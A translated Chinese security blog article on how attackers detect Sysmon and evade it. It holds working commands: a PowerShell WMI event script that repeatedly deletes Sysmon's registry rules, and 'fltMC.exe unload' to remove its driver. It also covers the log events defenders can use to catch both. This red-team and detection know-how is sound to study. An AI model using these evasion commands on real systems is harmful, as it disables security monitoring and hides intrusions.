绕过Sysmon的两种方法

luochicun Web安全 2018年10月17日发布
Favorite收藏

导语:Sysmon是Mark Russinovich编写的一个工具,Sysmon 3.0或者PowerShell模块,用于创建和管理for v2.0配置文件。它是一个Windows系统服务和设备驱动程序,是来自微软的SysInternal工具的一部分。它可以监控Windows系统操作并将其记录到Windo

Sysmon是Mark Russinovich编写的一个工具,Sysmon 3.0或者PowerShell模块,用于创建和管理for v2.0配置文件。它是一个Windows系统服务和设备驱动程序,是来自微软的SysInternal工具的一部分。它可以监控Windows系统操作并将其记录到Windows事件日志中。在系统上安装该工具时,可以给出XML配置文件,以便控制所记录的内容。

PowerShell模块中的所有函数都包含帮助信息和使用get帮助cmdlet可以查看的用法示例。

我在以前的多篇文章中已经介绍过了,甚至还编写了Posh-Sysmon(用于创建和管理Sysmon配置文件的PowerShell模块)。

· 源代码名称:Posh-Sysmon

· 源代码网址:http://www.github.com/darkoperator/Posh-Sysmon

· Posh-Sysmon源代码文档https://github.com/darkoperator/Posh-Sysmon/wikiPosh-Sysmon

· 源代码下载https://github.com/darkoperator/Posh-Sysmon/releases

Posh-Sysmon的主要目的是跟踪单个主机上的潜在恶意活动,并且它基于与Procmon(Process是一款能够实时显示文件系统、注册表与进程活动的高级工具,是微软推荐的一个系统监视工具。它整合了旧的Sysinternals工具,Filemon与Regmon,并增加了进程ID、用户、进程可靠度、等等监视项,可以记录到文件中,它的强大功能足以使 Process Monitor 成为你系统中的核心组件以及病毒探测工具。)相同的技术。但它与其他Sysinternals工具的不同之处在于,Sysmon实际上安装在主机上并将其信息保存到Windows Eventlog中,这样使用SIEM(安全信息和事件管理)工具更容易收集信息。

Sysmon能够收集的信息包括:

1.创建和结束进程;

2.处理更改文件创建时间;

3.网络连接;

4.驱动加载;

5.镜像加载;

6.CreateRemoteThread调用;

7.以Raw访问方式读取文件;

8.某个进程读取另一个进程空间;

9.文件创建;

10.注册表事件;

11.管道( pipe )交互操作事件;

12.WMI永久事件;

所有日志记录都基于用戶使用的sysmon.exe工具指定的规则,并最终保存到注册表中。目前大多数企业环境会通过应用包管理方式来部署Sysmon,然后通过注册表的二进制bob推送方式将规则推送至目标主机。

如何检测Sysmon的存在

对于攻击者来说,他们需要做的第一件事就是确定系统中是否存在Sysmon。通常,当攻击者在系统上安装Sysmon时,它将创建一个服务来加载驱动程序,该注册表项将存储服务和驱动程序的配置,并安装事件清单以定义事件并创建事件日志,将生成的事件存放在事件日志中。按着这个逻辑,攻击者可以根据存放事件的位置来检测Sysmon是否存在。但事实却是,很多攻击者往往习惯使用最简且收益最大化的解决方案。在检测控件时,大多数攻击者将执行以下的一种操作:

1.枚举进程;

2.枚举服务;

3.枚举C:\Windows\System32\Drivers下的驱动;

其中最常见的是枚举C:\Windows\System32\Drivers下的驱动,因为像Cylance这样的EDR解决方案将根据用户的调用方式隐藏服务名称,而某些解决方案还没有运行进程。

基于此,Sysmon可以实现以下的这个功能:用户可以在其中更改其可执行文件和驱动程序的名称,以便对其在系统中的存在进行模糊处理。

要更改服务名称和进程,只需将sysmon可执行文件重命名为用户想要的任何名称。虽然这很实用,但从如下输出中,攻击者却发现驱动并没有被重命名。

PS C:\Users\carlos\Desktop> .\HPPrinterController.exe -i
System Monitor v8.00 - System activity monitor
Copyright (C) 2014-2018 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com

HPPrinterController installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting HPPrinterController..
HPPrinterController started.

原因何在?因为要更改驱动程序名称,攻击者还需要在安装期间使用-d参数指定它,并为其指定名称。

PS C:\Users\carlos\Desktop> .\HPPrinterController.exe -i -d hpprndrv


System Monitor v8.00 - System activity monitor
Copyright (C) 2014-2018 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com

HPPrinterController installed.
hpprndrv installed.
Starting hpprndrv.
hpprndrv started.
Starting HPPrinterController..
HPPrinterController started.

在卸载和更新服务的配置信息时,攻击者还需要注意:必须用以上指定的名称来使用和复制Sysmon,就连配置数据所对应的注册表路径也需要使用相同的名称,这一点在Sysmon的升级版本和新规则应用方面尤为重要。

不过,攻击者仍然可以查看系统已加载的过滤驱动程序,并使用fltmc.exe来查看其altitude号码,如果攻击者使用的是Meterpreter,Beacon或任何其他支持mimikatz的代理,则还可以在Mimikatz中使用misc::mflt命令,进而在内存中列出驱动的altitude号。以下是Sysmon驱动的altitude号为385201。

在Mimikatz中使用misc::mflt命令得到的altitude号:

mimikatz # misc::mflt
0 3     385201 hpprndrv
0 0     244000 storqosflt
0 1     189900 wcifs
0 0     180451 CldFlt
0 0     141100 FileCrypt
0 1     135000 luafv
0 1      46000 npsvctrig
0 3      40700 Wof
0 4      40500 FileInfo

使用fltmc.exe得到的altitude号:

PS C:\> fltMC.exe

Filter Name                     Num Instances    Altitude    Frame
------------------------------  -------------  ------------  -----
hpprndrv                                3       385201         0
storqosflt                              0       244000         0
wcifs                                   1       189900         0
CldFlt                                  0       180451         0
FileCrypt                               0       141100         0
luafv                                   1       135000         0
npsvctrig                               1        46000         0
Wof                                     3        40700         0
FileInfo                                4        40500         0

如果攻击者是在更复杂或非许可的环境中运行,那么运行fltmc.exe或加载mimikatz必然会引发安全警报。其中一种不太准确的方法是检测sysmon的事件日志文件是否存在,该方法至少会让攻击者知道sysmon是否已安装在系统上。为此,攻击者可以检查注册表项HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational:

PS C:\> ls HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels | Where-Object {$_.name -like "*sysmon*"}


    Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels


Name                           Property
----                           --------
Microsoft-Windows-Sysmon/Opera OwningPublisher : {5770385f-c22a-43e0-bf4c-06f5698ffbd9}
tional                         Enabled         : 1
                               Isolation       : 2
                               ChannelAccess   : O:BAG:SYD:(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x1;;;BO)(A;;0x1;;;SO)(A;;0x1;;;S-1-5-32-573)
                               MaxSize         : 67108864
                               MaxSizeUpper    : 0
                               Type            : 1

攻击者也可以在注册表中查看的其他标志,比如输入值,因为Sysinternals工具在首次使用时会弹出许可证窗口,而接受许可证会在注册表中留下输入值。对于sysmon来说,这个输入值位于当前用户的HKCU\Software\Sysinternals路径中。

PS C:\> ls HKCU:\Software\Sysinternals  | Select-Object name

Name
----
HKEY_CURRENT_USER\Software\Sysinternals\Process Explorer
HKEY_CURRENT_USER\Software\Sysinternals\Process Monitor
HKEY_CURRENT_USER\Software\Sysinternals\sigcheck
HKEY_CURRENT_USER\Software\Sysinternals\Streams
HKEY_CURRENT_USER\Software\Sysinternals\Strings
HKEY_CURRENT_USER\Software\Sysinternals\System Monitor
HKEY_CURRENT_USER\Software\Sysinternals\ZoomIt

还有一种方法可以检测sysmon是否已安装在系统上,就是看是否有重命名的情况出现。Sysmon对服务的描述为System Monitor service,即使用户修改了这个名称,这个描述符依然保持不变。这样,攻击者就可以使用WMI或SC.exe通过此字符串进行识别。

PS C:\> Get-CimInstance win32_service -Filter "Description = 'System Monitor service'"

ProcessId Name                StartMode State   Status ExitCode
--------- ----                --------- -----   ------ --------
2220      HPPrinterController Auto      Running OK     0

绕过Sysmon的两种方法

目前,攻击者有2个绕过sysmon的方法,第一个是在利用sysmon进程中的盲点,第二种则是直接禁用sysmon。 Matt Grabber(一种抓取工具)能够进行逆向分析,找到注册表输入内容的格式。HarmJ0y开发了一款名为Seatbelt的.Net下assembly加载工具,攻击者可以在Cobalt Strike中使用该工具来加载内存中的配置信息。如果攻击者导出注册表项,Matt也提供了一个PowerShell函数用来解析导出的数据。了解了具体规则后,攻击者就可以围绕这些规则进行有针对性的绕过了。 

删除配置项

攻击者可以删除注册表中的规则项,此时, Sysmon在发现注册表被更改后,它将自动重新加载配置。由于此时没有任何安全检测规则存在,它将暂时失去防护能力,不过失效时间,取决于配置的维护方式。如果配置由Ansible,Chef或DSC等配置管理系统管理,可能需要几秒到几分钟才能将配置更改回原始状态,如果使用GPO来管理,那么当GPO更新时,可以在90分钟内恢复原始状态。为了解决这个问题,攻击者可以使用各种Windows技术(如.Net、VBS、PE文件等)创建VMI临时性Consumer监控相应的注册表项,当发现修改操作时,则会删除修改数据或者重新设置表项内容。之所以使用临时的Consumer,是因为大多数防护解决方案会重点关注正在创建或修改的WMI永久事件。

$query = "SELECT * FROM RegistryKeyChangeEvent " + 
    "WHERE Hive ='HKEY_LOCAL_MACHINE' " + 
    "AND KeyPath ='SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters'"

Register-WMIEvent -Query $query -Action { 
    Write-host "Sysmon config updated, deleting config."
    Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters" -Name "Rules" }

需要注意的一点是,Sysmon将恢复为默认配置,以便记录创建和结束进程事件。

如果攻击者想要跟踪WMI过滤器的使用过程,那就在WMI-Activity/Operational下的事件日志中查看,事件ID为5860,其中EventData中的字段表明可能的原因为Temporary,日志中同样包含生成该事件的进程ID。

wmitemp.png

不过也有特例,如果攻击者使用的是Sysmon 8.0,配置中则包含针对进程创建和结束的每个过滤器的规则名,其中就会包含空白的规则名。

攻击者还可以通过GPO在注册表项上设置审核规则,并在安全日志中记录事件4687,该事件将包括用户和更改注册表项的进程信息。如果该信息表明目标进程既不是由Sysmon,也不是由GPO更新导致的注册表修改,那么我SIEM中就会出现安全警报。

直接卸载SysmonDrv过滤器驱动程序

另一个方法比较直接,就是直接卸载SysmonDrv驱动程序,该驱动程序为Sysmon提供有关所有磁盘操作的信息,然后写入事件日志。正如攻击者之前看到的,这个驱动程序具有唯一的altitude号,如果攻击者以管理员身份运行,则可以卸载此驱动程序,而此时Sysmon基本上是完全失效的。攻击者可以使用fltmc.exe工具卸载驱动程序。如下所示,攻击者可以通过altitude号识别出了隐藏的驱动程序,并成功卸载该驱动。

PS C:\> fltMC.exe

Filter Name                     Num Instances    Altitude    Frame
------------------------------  -------------  ------------  -----
hpprndrv                                3       385201         0
storqosflt                              0       244000         0
wcifs                                   1       189900         0
CldFlt                                  0       180451         0
FileCrypt                               0       141100         0
luafv                                   1       135000         0
npsvctrig                               1        46000         0
Wof                                     3        40700         0
FileInfo                                4        40500         0
PS C:\> fltMC.exe unload hpprndrv
PS C:\> fltMC.exe

Filter Name                     Num Instances    Altitude    Frame
------------------------------  -------------  ------------  -----
storqosflt                              0       244000         0
wcifs                                   1       189900         0
CldFlt                                  0       180451         0
FileCrypt                               0       141100         0
luafv                                   1       135000         0
npsvctrig                               1        46000         0
Wof                                     3        40700         0
FileInfo                                4        40500         0

Sysmon实际上会将最后一个命令记录为执行命令,因此当执行此命令并使用unload参数时,就会触发SIEM发出警报。

1.png

System日志中也会生成ID为1的事件,其中Source字段的值为FilterManager,Task Category字段的值为None。

2.png

总结

本文提醒安全测试者,在模拟攻击中识别安全控件时,要查找和控件相关的多个指标,并在识别时提取相关信息。

本文翻译自:https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon如若转载,请注明原文地址: http://www.4hou.com/web/13984.html
点赞 3
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论